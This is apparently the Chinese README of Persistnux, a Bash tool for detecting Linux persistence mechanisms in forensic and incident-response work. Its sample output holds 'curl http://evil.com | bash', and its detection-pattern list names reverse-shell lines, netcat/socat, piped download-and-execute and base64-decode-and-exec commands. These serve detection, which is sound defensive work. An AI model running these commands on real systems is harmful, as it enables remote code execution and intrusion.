一个全面的Linux持久化检测工具,用于数字取证和事件响应(DFIR)调查。
Persistnux 是一个基于 Bash 的工具,旨在识别攻击者用于维护对受感染系统访问权限的已知 Linux 持久化机制。它对系统执行全面检查,并生成 CSV 和 JSONL 格式的详细报告,便于进一步分析。
.service)位于 /etc/systemd/system、/lib/systemd/system、/usr/lib/systemd/system/etc/crontab、/etc/cron.d/*)/etc/cron.{daily,hourly,weekly,monthly})/etc/cron.allow 和 /etc/cron.deny ACL 文件——引用了不存在用户的条目将被标记/etc/profile、/etc/bash.bashrc、/etc/zshrc)/etc/profile.d/*).bashrc、.bash_profile、.zshrc、.profile 等)/etc/rc.local 及其变体/etc/init.d)/etc/rc*.d)/etc/ld.so.preload)——列表中的每个库都通过包管理器验证/etc/ld.so.conf、/etc/ld.so.conf.d/)——配置文件完整性 + 非标准路径的 .so 文件被扫描并验证/etc/environment 中的 LD_PRELOAD/LD_LIBRARY_PATH ——环境文件标记为高;引用的库路径被验证(未管理/修改则标记为严重)/etc/modprobe.d/、/etc/modprobe.conf)——文件完整性;分析 install 指令以发现可疑命令目标;安全模块(apparmor、selinux、seccomp)的 blacklist 被标记为高/etc/modules、/etc/modules-load.d/)——配置完整性;引用模块名称通过 modinfo 解析为 .ko 文件并验证lsmod)——枚举和完整性验证.config/autostart、/etc/xdg/autostart)——root 模式扫描所有用户主目录/etc/environment)——验证 LD_PRELOAD/LD_LIBRARY_PATH 库路径/etc/sudoers、/etc/sudoers.d/)——NOPASSWD/ALL 模式标记为高.so 模块通过包管理器验证;遵循 @include 指令;包含 /etc/pam.confpam_exec.so 脚本分析——缺失/可疑脚本标记为严重pam_python.so / pam_perl.so 中继检测——提取并分析脚本/etc/security/ 中检测 pam_script.so 钩子文件~/.ssh/authorized_keys ——最近修改的密钥被标记;分析 command= 选项内容以发现可疑模式~/.ssh/rc ——存在即标记为中;可疑/反弹 Shell 内容标记为高/严重dpkg -V,RHEL/CentOS 使用 rpm -Va)/usr/bin、/usr/sbin、/bin、/sbin 中被修改的文件标记为严重发现/lib/security 中被修改的 PAM 模块标记为严重发现init= 内核参数注入(/etc/default/grub、/etc/default/grub.d/*.cfg)/ 根目录下的根级 init 脚本pre-pivot 钩子并向 /sysroot/etc/shadow 写入内容的 Dracut initramfs 模块/etc/initramfs-tools/scripts/ 和 /hooks//boot/initrd.img-* 镜像(基于 mtime)ResultAny/ResultInactive/ResultActive=yes 的 .pkla 文件unix-user:*)授权polkit.Result.YES 的 .rules 文件(基于 JavaScript 的 Polkit >= 0.106)Exec= 注册(/usr/share/dbus-1/system-services/)allow own="*" 或 send_destination="*" 指令/etc/NetworkManager/dispatcher.d/)RUN+= 指令(/etc/udev/rules.d/、/lib/udev/rules.d/)/run/udev/rules.d/ 中运行时注入的规则RUN+= 中的 at/cron 委托模式(常见的前台限制绕过)--privileged、--pid=host)docker.sock 绑定挂载(通过 Docker API 完全控制宿主机)nsenter -t 1getcap 进行文件能力扫描——GTFOBins 上的 cap_setuid+ep 标记为严重.original、.old、.bak、.real)带有包装脚本/etc/passwd 中 UID 0 的非 root 账户/etc/passwd Shell 字段尾部空格导致的 Shell 掩藏authorized_keys 文件的系统账户(UID 1-999)# 克隆仓库
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# 赋予脚本执行权限
chmod +x persistnux.sh
# 使用默认设置运行(仅显示可疑发现)
sudo ./persistnux.sh
# 显示帮助和所有选项
./persistnux.sh --help
# 以普通用户运行(范围受限)
./persistnux.sh
默认情况下,Persistnux 仅显示可疑发现(中、高、严重置信度),以减少噪音并聚焦于可操作的威胁。
# 默认:仅显示可疑发现
sudo ./persistnux.sh
# 显示所有发现,包括基线(低置信度)
sudo ./persistnux.sh --all
# 或
sudo FILTER_MODE=all ./persistnux.sh
# 仅显示高和严重置信度发现
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# 组合过滤:仅高置信度
sudo ./persistnux.sh --min-confidence HIGH
# 指定自定义输出目录
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# 与过滤结合使用
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
默认情况下,Persistnux 创建一个输出目录 ./persistnux_output/,包含:
persistnux_<hostname>_<timestamp>.csv - CSV 格式报告persistnux_<hostname>_<timestamp>.jsonl - JSONL 格式报告(每行一个 JSON 对象)persistnux_<hostname>_<timestamp>_report.txt - 人类可读的摘要报告,包含发现数量和扫描元数据timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
suspicious_script_content、modified_package、unmanaged_binary)Persistnux 使用智能置信度评分以减少误报:
Persistnux 现在包含多项误报减少功能:
dpkg(Debian/Ubuntu)或 rpm(RedHat/CentOS)管理的文件获得较低的置信度评分Persistnux 在检测到以下情况时会自动以更高的置信度标记项目:
bash -i >& /dev/tcp/、sh -i >& /dev/udp/nc、netcat、socat、telnetpython -c 'import socket'curl | bash、wget | shcurl URL -o /tmp/file && chmod +xbase64 -d | bash、eval $(echo BASE64)eval、exec/tmp、/dev/shm、/var/tmpchmod +x、chmod 777chmod u+sfind、grep、stat、sha256sum、awk、filesystemctl、lsmod、modinfo、getcap、dpkg/rpm(用于特定检查)python/jq)注意: 该工具主要在 Ubuntu/Debian 系统上测试。RedHat、Fedora 和基于 RPM 的发行版的包管理器支持已在代码中实现,但尚未在真实测试环境中验证。欢迎为基于 RPM 的发行版贡献和提供测试报告。
Persistnux 在 PANIX 上进行了基准测试,
PANIX 会安装 Persistnux 所搜索的相同持久化机制。可重复的
测试脚本 tests/panix_benchmark.sh 应用每个
PANIX 技术,运行 Persistnux,并通过基线差异来确认检测。
每个在测试机上适用的基于文件的 PANIX 技术都会以
MEDIUM+ 置信度被检测到。请参阅 PANIX_BENCHMARK.md 以获取完整的
覆盖表和方法。
⚠️ 基准测试会安装真实的后门——仅在一次性虚拟机中运行它。
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX
欢迎贡献!请随时提交拉取请求或打开问题,内容涉及:
MIT 许可证 - 详情请参阅 LICENSE 文件
为 DFIR 社区开发,以协助 Linux 事件响应和取证调查。
本工具仅用于授权的安全测试、事件响应和取证分析。用户有责任确保在运行本工具之前拥有适当的授权。
如有问题、问题或贡献,请使用 GitHub 问题跟踪器。
pam_env.conf 和 ~/.pam_environment 中的 LD_PRELOAD 库验证/etc/security/ 常规扫描/etc/update-motd.d/)——包验证;被修改标记为严重| 发行版 | 状态 | 备注 |
|---|
| Ubuntu 22.04 LTS | ✅ 已测试 | 主要开发和测试平台 |
| Ubuntu 20.04 LTS | ✅ 已测试 | 完全支持 |
| Debian 11/12 | ✅ 已测试 | dpkg 基础,路径约定相同 |
| Kali Linux (rolling) | ✅ 已测试 | 用于 PANIX 检测基准测试(见下文) |
| RedHat / RHEL | ⚠️ 尚未测试 | rpm 支持已实现但未在真实系统上验证 |
| Fedora | ⚠️ 尚未测试 | rpm 支持已实现但未在真实系统上验证 |
| CentOS / AlmaLinux / Rocky | ⚠️ 尚未测试 | rpm 支持已实现但未在真实系统上验证 |